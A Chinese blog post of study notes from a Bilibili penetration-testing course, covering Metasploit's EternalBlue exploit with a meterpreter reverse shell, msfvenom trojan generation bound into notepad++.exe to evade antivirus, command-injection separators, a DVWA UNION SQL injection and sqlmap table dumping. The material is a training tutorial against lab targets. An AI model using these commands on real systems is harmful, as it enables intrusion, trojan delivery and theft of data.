网络安全-B-站教程

参考 B 站

Kali 官网

P3 metasploit 是什么

metasploit 是一个攻击软件 (简称 msf),可以攻击常见的网站,操作系统. 其是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的 shellcode.

在 kali 中安装:

1
$ apt install metasploit-framework

启动:

1
$ msfconsole

使用法则:

  1. 使用模块
  2. 配置模块必选项
  3. 运行模块

利用永恒之蓝漏洞

在进入 metasploit 界面后搜索:

1
msf6 > search ms17_010

ms17_010 的含义是, Microsoft 17 年的第 10 号漏洞.

使用模块,用 use 命令加模块名, 如:

1
msf6 > use exploit/windows/smb/ms17_010_eternalblue

或加编号:

1
msf6 > use 0

查看配置:

1
msf6 > show options

在添加了一个模块后查看配置,在 Required 栏中为 yes 则是必须添加的配置. 若没有默认设置则需要自己设置.

payload options 是攻击的目的,如获取 metarpreter.

1
> set payload windows/x64/meterpreter/reverse_tcp

若想获取 Linux/macOS 系统, 修改 windows 即可.

修改配置用 set 命令, 如:

1
> set lport 10001

运行模块, 使用 run 命令:

1
> run

出现 meterpreter 提示框表示攻击成功:

1
meterpreter > help

P6 metasploit攻击成功后能做什么

使用 Kali 渗透工具生成远控木马

如:

1
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.123.136 lport=9999 -f exe -o demo.exe

-p 表示 payload. -f 表示 format.

这是在本地生成一个木马文件, 之后需要将这个文件上传到目标主机.

攻击之前需要进入 msfconsole 使用一个模块, 用于开启监听:

1
use exploit/multi/handler

之后 show 设置,set 一些设置, 最后 run. 如:

1
2
3
4
5
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set lhost 192.168.123.136
> set lport 9999
> run

躲避杀毒软件

捆绑在其他软件上

如:

1
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.123.136 lport=9999 -f exe -o demo.exe -x notepad++.exe -o notepad++.exe

-x 用于指定一个模板,表明附加到哪一个正常程序之后.

加壳

把程序加密或压缩,且避免反编译. 如使用 Themida.

P9 常见的网站漏洞

OWASP 组织,每年会公布 web 应用的威胁安全报告.

P10 六步搭建DVWA

DVWA 是 OWASP 官方编写的 PHP 网站,包含了各种网站常见漏洞,可以学习攻击及修复方式.

DVWA 源码地址

P11 危害巨大漏洞-命令执行

这种漏洞一般出现于,应用系统从设计上需要给用户提供指定的远程命令操作的接口,如一些设备的 web 管理界面. 若没有严格的安全控制,则可能会导致攻击者通过该接口提交而已命令,让后台执行,从而获得后台服务器权限.

若有一个界面用于测试 ping, 如:

这相当于是可以输入一行命令,那么:

  • 127.0.0.1 & cmd
  • 127.0.0.1 && cmd
  • 127.0.0.1 | cmd
  • 127.0.0.1 || cmd
  • 127.0.0.1 ; cmd

等形式的命令都有可能执行.

php 的 shell_exec 函数,通过 shell 环境执行命令。并且将完整的输出以字符串的方式返回.

防御 command injection 要注意, 过滤命令连接符 .

渗透测试解决办法 :

  • 白盒测试, 可以看到源代码, 查看源代码过滤机制
  • 黑盒测试, 看不到源代码, 依次尝试常见命令连接符

注意,有些被过滤的连接符是 连接符+空格 , 因此可以尝试没有加空格的形式.

impossible 防御 直接判断 IP 地址.

SQL注入漏洞

SQL 是 Structured Query Language 结构化查询语言.

SQL 注入 (SQL injection), 是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了字符检查, 那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行.

可以简单理解为,能改变原有 SQL 语句的漏洞就是 SQL 注入.

利用 order by 语句判断数据库的列数.

几个 MySQL 的内置函数:

  • user(): 返回当前数据库连接用户
  • database(): 返回当前数据库名称

查询数据库中的表信息:

1
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#

information_schema 是一个内置信息.

SQLmap 使用

用一个 python 脚本自动检测有无 SQL 注入漏洞.

SQLmap 的 Github 地址.

使用:

1
$ python sqlmap.py -u "http://..." --cookie='...'

-u 参数为 url, 即你想要检测的地址, --cookie 用于这个网站需要登陆时,在开发者模式中可获取.

如有 --dbs 参数,即 database server, 用于获取所有数据库名.

获取指定数据库表, 用 -D 即 data 来指定想要获取的数据库名,--tables 来列出数据库表. 如:

1
$ python sqlmap.py -u "http://..." --cookie='...' -D dvwa --tables

获取表中的数据 如:

1
$ python sqlmap.py -u "http://..." --cookie='...' -D dvwa -T users --columns

-T 参数是指定想要获取的表名为 users, --columns 表示列出表项. 若是读取全部数据,将 --columns 换成 --dump

防御

过滤用户输入内容,不让输入 sql 语句. 如将特殊符号替换为空,或判断用户输入 SQL 语句就终止执行.

impossible 防御,借用 PDO (PHP Data Objects) 配合正确的过滤和 SQL 语句来避免 SQL 注入.

P21 收集目标信息-进行端口扫描

作用: 发现目标主机的端口及其对应开放的服务, 攻击者通过发现及利用服务所存在的漏洞, 入侵目标主机.

使用工具:

  • zenmap
  • railgun

网络安全-B-站教程
http://example.com/2022/12/14/网络安全-B-站教程/
作者
Jie
发布于
2022年12月14日
许可协议